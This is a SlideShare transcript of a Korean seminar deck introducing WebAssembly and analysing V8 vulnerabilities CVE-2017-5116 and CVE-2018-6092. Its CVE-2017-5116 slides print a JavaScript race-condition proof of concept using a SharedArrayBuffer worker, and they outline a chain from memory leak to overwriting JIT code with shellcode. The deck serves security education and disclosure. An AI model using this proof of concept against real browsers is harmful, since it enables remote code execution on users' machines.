Se ha denunciado esta presentación.
Utilizamos tu perfil de LinkedIn y tus datos de actividad para personalizar los anuncios y mostrarte publicidad más relevante. Puedes cambiar tus preferencias de publicidad en cualquier momento.

WebAssembly 개요와 취약점 분석

50 visualizaciones

Publicado el

제 4회 시원포럼 세미나에서 WebAssembly 개요와 취약점 분석에 관하여 발표하였습니다.

개요
- What is WebAssembly?
- Hello World
- WebAssembly CTF Chall
- CVE-2017-5116
- CVE-2018-6092

Publicado en: Tecnología
  • Sé el primero en comentar

  • Sé el primero en recomendar esto

WebAssembly 개요와 취약점 분석

  1. 1. 개요와 취약점 분석
  2. 2. 양희성 (뎁온누리, 양아치성 등등) • 파릇파릇한 중학생 • 자바스크립트 좋아함 • 해킹 뉴비
  3. 3. • What is WebAssembly? • Hello World! • WebAssembly CTF Chall • CVE-2017-5116 • CVE-2018-6092
  4. 4. What is WebAssembly?
  5. 5. C/C++/Rust Into your Browser With nearly-native Perf.
  6. 6. ASM.JS
  7. 7. Source: StackOverflow 2019 Survey @==(^o^)@ @(^o^)==@
  8. 8. 1. 모듈 컴파일된 WebAssembly 바이너리 ES6의 모듈처럼 export와 import가 있음
  9. 9. 2. 메모리 WebAssembly의 저수준의 명령어가 접근할 수 있는 크기가 변하는 ArrayBuffer
  10. 10. 3. 테이블 메모리에 저장될 수 없는 레퍼런스를 저장하는 크 기가 변하는 TypedArray
  11. 11. 4. 인스턴스 모듈과 그 속성(메모리, 테이블 등)의 쌍
  12. 12. Hello WebAssembly!
  13. 13. (module (table 0 anyfunc) (memory $0 1) (export "memory" (memory $0)) (export "addTwo" (func $addTwo)) (func $addTwo (; 0 ;) (param $0 i32) (param $1 i32) (result i32) (i32.add (get_local $1) (get_local $0) ) ) ) wat2wasm test.wat
  14. 14. > 30 fetch('test.wasm’) .then(response => response.arrayBuffer()) .then(bytes => WebAssembly.instantiate(bytes)) .then(result => { console.log(result.instance.exports.addTwo(10, 20)); });
  15. 15. WebAssembly CTF Chall
  16. 16. Special Combination: 1947482
  17. 17. CVE-2017-5116
  18. 18. SharedArrayBuffer - V8 6.0부터 등장 - TypedArray의 자식 클래스 - JavaScript Worker간의 메모리 공유 가능
  19. 19. WASM Liftoff TurboFan Run!
  20. 20. WASM Liftoff TurboFan Run!
  21. 21. // new WebAssembly.Module(bytes) -> WebAssembly.Module void WebAssemblyModule(const v8::FunctionCallbackInfo<v8::Value>& args) { ... i::wasm::ScheduledErrorThrower thrower(i_isolate, "WebAssembly.Module()"); auto bytes = (args, &thrower); if (thrower.error()) { return; } ... } Source Auditing GetFirstArgumentAsBytes
  22. 22. i::wasm::ModuleWireBytes (...) { const uint8_t* start = nullptr; size_t length = 0; v8::Local<v8::Value> source = args[0]; if (source->IsArrayBuffer()) { // A raw array buffer was passed. ... } else if (source->IsTypedArray()) { // <--- SharedBufferArray 가능 // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const uint8_t*>(content s.Data()) + array->ByteOffset(); length = array->ByteLength(); } ... return i::wasm::ModuleWireBytes(start, start + length); } GetFirstArgumentAsBytes
  23. 23. Proof of Concept var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  24. 24. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  25. 25. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  26. 26. function { var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i] = wasmarr[i]; return sta; } getSharedTypedArray()
  27. 27. function { var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i] = wasmarr[i]; return sta; } getSharedTypedArray() (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call $func0 i32.const 1 i32.add ) )
  28. 28. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  29. 29. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script>
  30. 30. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script> (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call $func0 i32.const 1 i32.add ) )
  31. 31. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script> (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call 128 i32.const 1 i32.add ) )
  32. 32. 1. ArrayBuffer를 만든뒤 주소 Leak 2. Leak한 데이터를 가지고 ArrayBuffer를 Float64Array로 위장 3. 가짜 ArrayBuffer를 ToNumber로 넘겨 객체 참조를 얻는 다. 4. 가짜 ArrayBuffer의 BackingStore, ByteLength를 변경 해 임의 메모리 읽기/쓰기 가능하게 한다. 5. JIT 코드를 쉘코드로 덮어 실행
  33. 33. auto enabled_features = i::wasm::WasmFeaturesFromIsolate(i_isolate); bool validated = false; if (is_shared) { // Make a copy of the wire bytes to avoid concurrent modification. std::unique_ptr<uint8_t[]> copy(new uint8_t[bytes.length()]); memcpy(copy.get(), bytes.start(), bytes.length()); i::wasm::ModuleWireBytes bytes_copy(copy.get(), copy.get() + bytes.length()); validated = i_isolate->wasm_engine()->SyncValidate( i_isolate, enabled_features, bytes_copy); } else { // The wire bytes are not shared, OK to use them directly. validated = i_isolate->wasm_engine()->SyncValidate(i_isolate, enabled_features, bytes); } return_value.Set(Boolean::New(isolate, validated));
  34. 34. CVE-2018-6092
  35. 35. • V8 취약점 • WebAssembly의 지역인수(locals)를 파싱할때 Integer Overflow 발생
  36. 36. Thank you! References: WebAssembly, CVE-2017-5116 (2) DEF CON 26 - Guang Gong - Pwning theToughest Target, the Largest Bug Bounty in the History of ASR Android Security Ecosystem Investments Pay Dividends for Pixel Project Zero: The Problems and Promise of WebAssembly

×